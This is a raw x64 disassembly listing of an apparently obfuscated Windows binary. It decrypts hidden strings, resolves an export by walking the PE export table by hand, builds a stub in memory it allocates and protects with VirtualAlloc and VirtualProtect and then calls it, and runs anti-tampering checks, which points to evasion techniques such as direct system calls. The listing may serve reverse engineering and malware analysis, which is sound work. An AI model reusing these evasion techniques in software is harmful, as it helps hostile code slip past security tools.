mov rcx, qword gs:[0x3a]
mov ebx, 0x9b8b3d39
cmp rcx, rbx
jne 0x140032fd8
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032fb8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032fb8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032fd8
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x14003317d
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], Ordinal_143
mov r10, r14
movabs r8, 0x17ac1d8434
mov r11, r12
movabs rbx, 0x1647a34f3
movabs r9, 0x2f583b0868
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
add r10, r15
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140033042
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400fb270]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400fb1e0]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xae8e
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
add r8, r15
add r9, r13
add r10, 0x22
movabs rax, 0x5eb07610d0
cmp r9, rax
jb 0x1400330e5
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.1400a2aa8
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140121290], r14
jne 0x1400331bf
mov ecx, 0x26b0
call fcn.1400a736c
test rax, rax
je 0x1400331bf
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140121290], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400fb2a0]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14003d2b4
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, r15
cmp rdi, 0x17
jb 0x1400331fe
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x140121290]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14003331a
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400332d2
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400a736c
mov rsi, rax
test rax, rax
je 0x140033317
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140121290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c5560
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
mov qword [0x140121290], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14003d1cc
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14003333b
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140121290]
test rbx, rbx
je 0x140033444
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400333ff
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a736c
mov rsi, rax
test rax, rax
je 0x140033441
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140121290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c5560
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
mov qword [0x140121290], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140033673
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033673
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033673
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033673
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140033673
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400334d8
inc rax
test edi, edi
jne 0x1400334c3
test r8d, r8d
je 0x1400334ea
inc rdx
cmp rdx, rsi
jb 0x1400334b2
jmp 0x140033673
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033673
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14003350f
mov r14d, r15d
jmp 0x140033673
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14009bae0
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14003dd90
lea rcx, [rbp + 0x87b0]
call fcn.14003d328
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.14003d328
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140033586
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400c5560
mov dword [0x140115b84], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x140115b80]
movsd qword [rdi], xmm0
movzx eax, word [0x140115b88]
mov word [rdi + 8], ax
mov al, byte [0x140115b8a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400c5c00
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140115b84], r15d
mov rdi, qword [0x140121290]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x140033727
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140033715
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140033715
mov al, byte [rbp + 0xf70]
test al, al
jne 0x1400336da
xor edx, edx
call fcn.1400c5c00
jmp 0x140033713
cmp al, 1
jne 0x140033715
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14003daf8
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14003dcac
lea rcx, [rbp + 0x1168]
call fcn.14003dc3c
lea rcx, [rbp + 0x1168]
call fcn.140014908
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14003369e
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
xor r15d, r15d
mov qword [0x140121290], r15
test r14d, r14d
js 0x14003bc7b
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003bc7b
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400a736c
test rax, rax
je 0x14003378b
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140121290], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400fb2a0]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14003d2b4
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x1400337ce
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140121290]
test rbx, rbx
je 0x1400338f5
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400338a1
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a736c
mov rsi, rax
test rax, rax
je 0x1400338e8
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140121290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c5560
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
mov qword [0x140121290], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400338eb
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14003d1cc
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14003390c
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140121290]
test rbx, rbx
je 0x140033a1a
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400339d3
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400a736c
mov rsi, rax
test rax, rax
je 0x140033a17
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140121290]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c5560
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
mov qword [0x140121290], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140033a1a
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140033aab
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033aab
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033aab
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033aab
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140033aab
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140033a9a
inc rax
test edi, edi
jne 0x140033a85
test r8d, r8d
je 0x140033b26
inc rdx
cmp rdx, rsi
jb 0x140033a74
mov r14d, r15d
mov rdi, qword [0x140121290]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x140033cf5
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140033ce3
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140033ce3
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140033caa
xor edx, edx
call fcn.1400c5c00
jmp 0x140033ce3
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033aab
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140033aab
cmp al, 1
jne 0x140033ce3
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.14003daf8
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14003dcac
lea rcx, [rbp + 0x1148]
call fcn.14003dc3c
lea rcx, [rbp + 0x1148]
call fcn.140014908
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140033adb
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c5c00
mov rcx, rdi
call fcn.1400a7248
mov qword [0x140121290], r13
test r14d, r14d
js 0x14003baea
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14003baea
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x140033da6
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140033e1f
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x140033e01
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x140033ebb
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140033f33
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], Ordinal_143
mov r10, r13
movabs rbx, 0x1647a34f4
movabs rsi, 0x8080808080808081
movabs r8, 0x17ac1d8434
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2f583b0868
movabs r14, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003bb3e
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400fb180]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x9f803ee0
mov dword [rbp + 0x96c], 0x5923b09e
mov dword [rbp + 0x970], 0xf31747c9
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x26fd5dcab0
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x4dfabb9560
cmp r9, rax
jb 0x14003bbe9
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], Ordinal_143
mov r10, r15
movabs rbx, 0x1647a34f4
movabs rsi, 0x8080808080808081
movabs r8, 0x17ac1d8434
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2f583b0868
movabs r14, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003bccf
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400fb080]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xdcf96482
mov word [rbp + 0x754], 0xb8
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1d3e065804
movabs r10, 0x3a7c0cb008
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14003bd73
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a2aa8
int3
cmp rax, rbx
jne 0x14003beae
mov rax, qword gs:[0x19]
movabs rcx, 0x8891115eabfcc5c6
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003be8e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003be8e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003beae
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], Ordinal_143
mov r10, r14
movabs r8, 0x17ac1d8434
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x2f583b0868
movabs r15, 0x1647a34f3
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14003bef5
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400faff0]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xa2c3a15b
mov dword [rbp + 0x82c], 0xe01010
mov r8, r14
movabs r9, 0x2006fac1ec
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r13
add r10, 0x17
movabs rax, 0x400df583d8
cmp r9, rax
jb 0x14003bf8f
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3a]
cmp rax, rbx
jne 0x14003c0d3
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003c0b3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003c0b3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c0d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rbx
jne 0x14003c77b
mov rax, qword gs:[0x19]
mov ecx, 0xccc29034
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
